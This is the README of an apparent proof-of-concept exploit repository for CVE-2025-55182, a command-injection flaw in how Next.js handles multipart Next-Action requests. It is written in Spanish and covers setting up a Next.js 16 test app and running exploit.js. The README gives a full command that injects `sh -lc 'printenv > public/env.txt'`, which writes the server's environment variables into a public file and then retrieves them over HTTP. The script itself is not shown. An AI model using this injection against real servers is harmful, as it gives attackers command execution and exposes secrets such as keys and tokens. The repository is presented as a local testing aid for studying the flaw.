
Exploit de prueba de concepto para CVE-2025-55182 dirigido al manejo multipart/Next-Action de Next.js con un script de demostración de inyección de comandos local.
Un pequeño repositorio que contiene:
test-app/: una aplicación de prueba de Next.js 16 (React 19) que usa el App Router.exploit.js: un script local de prueba de concepto para demostrar y probar el comportamiento del servidor en torno al manejo de multipart/Next-Action. Diseñado solo para pruebas locales.rsc-test-app/
├─ README.md # You are here
├─ exploit.js # PoC script (local-only)
└─ test-app/ # Next.js application
├─ app/ # App Router pages
├─ public/ # Static assets (and env.txt when generated)
├─ package.json # Next 16 / React 19
└─ README.md # Default Next.js template README
cd test-app
npm install
npm run dev
# App will be available at http://localhost:3000
npm run build
npm start
Este script construye una solicitud multipart con una cabecera Next-Action para ejercitar el comportamiento del servidor. Por defecto, intenta ejecutar un comando en el proceso del servidor que escribe el entorno en public/env.txt (para demostración en un entorno local/de desarrollo).
Notas importantes:
public/ se resuelva dentro de test-app/public/.En una terminal aparte, asegúrate de que la aplicación Next.js esté ejecutándose en http://localhost:3000:
cd test-app
npm run dev
Desde la raíz del repositorio, ejecuta el script:
node exploit.js http://localhost:3000 "sh -lc 'printenv > public/env.txt'"
Parámetros:
http://localhost:3000.sh -lc 'printenv > public/env.txt'.Después de ejecutarlo, comprueba el archivo generado:
accediendo a
http://localhost:3000/env.txt
Y ahí tienes las variables de entorno del servidor.